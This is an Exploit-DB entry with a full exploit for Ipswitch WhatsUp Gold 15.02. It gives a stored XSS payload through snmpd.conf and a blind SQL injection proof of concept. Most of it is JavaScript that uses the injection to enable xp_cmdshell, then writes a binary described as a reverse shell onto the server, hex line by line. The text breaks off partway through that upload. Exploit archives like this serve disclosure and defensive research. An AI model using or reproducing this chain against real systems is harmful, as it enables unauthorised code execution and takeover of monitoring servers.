Exploit-DB #20035
Description: ipswitch whatsup gold 15.02 - Persistent Cross-Site Scripting / Blind SQL Injection / Remote Code Execution
Type: webapps
Platform: asp
Date: 2012-07-22
Author: muts

Exploit:
/*
######################################################################################
# Exploit Title: Ipswitch WhatsUp Gold 15.02 Stored XSS - Blind SQLi - RCE
# Date: Jul 22 2012
# Author: muts
# Version: Ipswitch WhatsUp Gold 15.02
# Vendor URL: http://www.ipswitch.com/

An attacker can modify their snmpd.conf file with malicious JavaScript as follows:
sysName <script>alert(124)</script>pt>>

In addition, there is a Blind SQL Injection vulnerability in the file "WrVMwareHostList.asp". By sending a specially crafted malicious JavaScript payload, the SQLi can be exploited to add a new database administrator to the system, leading to remote code execution.

Blind SQLi Proof of Concept:
WrVMwareHostList.asp?sGroupList=1;WAITFOR DELAY '0:0:10'--&sDeviceList=3

The JavaScript code below will exploit the blind SQL injection vulnerability, enable
xp_cmdshell on the target, upload a reverse shell to the target, and execute it.

Timeline:

29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
16 Jul 2012: Email received from Ipswitch stating that the issue will be fixed ASAP
22 Jul 2012: Public Disclosure

######################################################################################


*/

function getCookie(c_name)
{
	var i,x,y,ARRcookies=document.cookie.split(";");
	for (i=0;i<ARRcookies.length;i++)
	{
		x=ARRcookies[i].substr(0,ARRcookies[i].indexOf("="));
		y=ARRcookies[i].substr(ARRcookies[i].indexOf("=")+1);
		x=x.replace(/^\s+|\s+$/g,"");
		if (x==c_name)
		{
			return unescape(y);
		}
	}
}

function deleteCookie(c_name)
{
	setCookie(c_name, "", -1);
}

function setCookie(c_name,value,exdays)
{
	var exdate=new Date();
	exdate.setDate(exdate.getDate() + exdays);
	var c_value=escape(value) + ((exdays==null) ? "" : "; expires="+exdate.toUTCString());
	document.cookie=c_name + "=" + c_value;
}

function getHtmlBody(url)
{
	var xmlHttp = new XMLHttpRequest();
	xmlHttp.open('GET', url, false);
	xmlHttp.send(null);
	var results = xmlHttp.responseText;
	return(results);
}

var attackAnyway = 0;

// Check if a cookie has been set (this indicates we already exploited our target)
// Or if we decided to attack anyway (by setting 'attackAnyway')
if (getCookie("mix0") == undefined || attackAnyway == 1)
{
alert("woot, new attack");
alert(document.cookie);
setCookie("mix0", "1", 1);
alert(document.cookie);
alert("Debug - Enabling XP_CMDSHELL");


getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;DECLARE @S NVARCHAR(3000);SET @S=CAST(0x[PII_REDACTED][PII_REDACTED]730070005F0063006F006E[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]006F[PII_REDACTED][PII_REDACTED]0061006E[PII_REDACTED]640020006F[PII_REDACTED]69006F006E[PII_REDACTED]2C[PII_REDACTED]3B[PII_REDACTED]43004F004E[PII_REDACTED][PII_REDACTED]0045003B[PII_REDACTED][PII_REDACTED][PII_REDACTED]5F0063006F006E[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]005F0063006D[PII_REDACTED]680065006C006C0027002C[PII_REDACTED]3B[PII_REDACTED]43004F004E[PII_REDACTED][PII_REDACTED]0045003B000A AS NVARCHAR(3000));Exec (@S);--&sDeviceList=3");

alert("Debug - Uploading Reverse Shell");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo n 1.dll >123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0100 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0180 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 5d cf 9f 87 19 ae f1 d4 19 ae f1 d4 19 ae f1 d4 97 b1 e2 d4 13 ae f1 d4 e5 8e e3 d4 18 ae f1 d4 52 69 63 68 19 ae f1 d4 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 da 4d 03 50 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 05 0c 00 02 00 00 00 06 00 00 00 00 00 00 00 10 00 00 00 10 00 00 00 20 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00  >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0200 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 40 00 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 1c 20 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  >>123.hex ';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo e 0280 >>123.hex';--");
getHtmlBody("/NmConsole/Reports/Workspace/Virtualization/WrVMwareHostList/WrVMwareHostList.asp?sGroupList=1;EXEC xp_cmdshell 'echo 00 00 00 00 00 00 00 00 00 20 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b8 00 00 00 00 10 00 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 00 00 00 00 20 00